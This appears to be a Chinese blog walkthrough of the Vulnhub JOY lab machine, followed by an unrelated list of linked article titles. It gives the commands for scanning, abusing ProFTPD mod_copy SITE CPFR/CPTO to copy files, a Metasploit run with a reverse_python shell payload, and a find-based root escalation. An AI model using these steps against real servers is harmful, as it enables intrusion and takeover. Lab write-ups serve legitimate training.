当前位置: 首页 > news >正文

Vulnhub:Digitalworld.local (JOY)靶机

kali:192.168.111.111

靶机:192.168.111.130

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.130

 

使用enum4linux枚举目标smb服务,发现两个系统用户

enum4linux -a 192.168.111.130

 

ftp可以匿名登陆,目录权限属主和树组都是ftp用户,猜测:访问的是ftp用户的家目录

 

upload目录中的directory文件内容,图中文件和目录权限version_control可能会有有用 的信息

 

漏洞利用

搜索proftpd漏洞

searchsploit proftpd

 

 

复制version_control文件到/home/ftp/upload目录

site cpfr /home/patrick/version_control
site cpto /home/ftp/upload/version_control

 

version_control文件内容

 

msf模块exploit/unix/ftp/proftpd_modcopy_exec拿shell

use exploit/unix/ftp/proftpd_modcopy_exec
set rhosts 192.168.111.130
set sitepath /var/www/tryingharderisjoy
set payload cmd/unix/reverse_python
run

 

提权

在/var/www/tryingharderisjoy/ossec/patricksecretsofjoy文件中发现用户patrick的密码:apollo098765

 

patrick用户sudo权限

 

执行/home/patrick/script/test该文件可以以root身份赋权限,给find命令suid权限,提升为root

find . -exec /bin/bash -p \; -quit

 

http://www.lryc.cn/news/59555.html

相关文章:

  • STL源码剖析-六大部件, 部件的关系,复杂度, 区间表示
  • 总有一个可用的连接,metaIPC1.2进入智能连接新时代
  • 棋盘问题c
  • 华纳云:Linux系统下怎么创建普通用户并更改用户组
  • 「她时代」背后的欧拉力量
  • kubespray v2.21.0 在线部署 kubernetes v1.24.0 集群【2】
  • 聚焦运营商信创运维,美信时代监控易四大亮点值得一试!
  • [python刷题模板] 博弈入门-记忆化搜索/dp/打表
  • I2C通信
  • 【Linux】man什么都搜不了,No manual entry for xxx的解决方案
  • STM32 库函数 GPIO_SetBits、GPIO_ResetBits、GPIO_WriteBit、GPIO_Write 区别
  • 在 RISC-V Linux 内核中添加模块
  • 利用AOP实现统一功能处理
  • 会话技巧---英文单词
  • VS中解决方案和项目的区别
  • MyBatis的parameterType传入参数类型和resultType返回结果类型
  • 什么是Android FrameWork,请你介绍一下?
  • 【SQL 必知必会】- 第十六课 更新和删除数据
  • 常见哈希算法及其应用
  • PHP快速入门02-PHP语言基础
  • FSCapture - 长截图工具
  • [ 云计算 | Azure ] Chapter 05 | 核心体系结构之管理组、订阅、资源和资源组以及层次关系
  • 【算法LearnNO.1】算法介绍以及算法的时间复杂度和空间复杂度
  • 013:Mapbox GL添加marker
  • 智慧工厂可视化合集,推动行业数字化转型
  • 工作流调度系统 Azkaban介绍与安装(一)
  • 【Python基础入门学习】Python工具Pycharm的安装与使用
  • 【版本控制】Github同步Gitee镜像仓库自动化脚本
  • 索引的分类
  • 【整理九】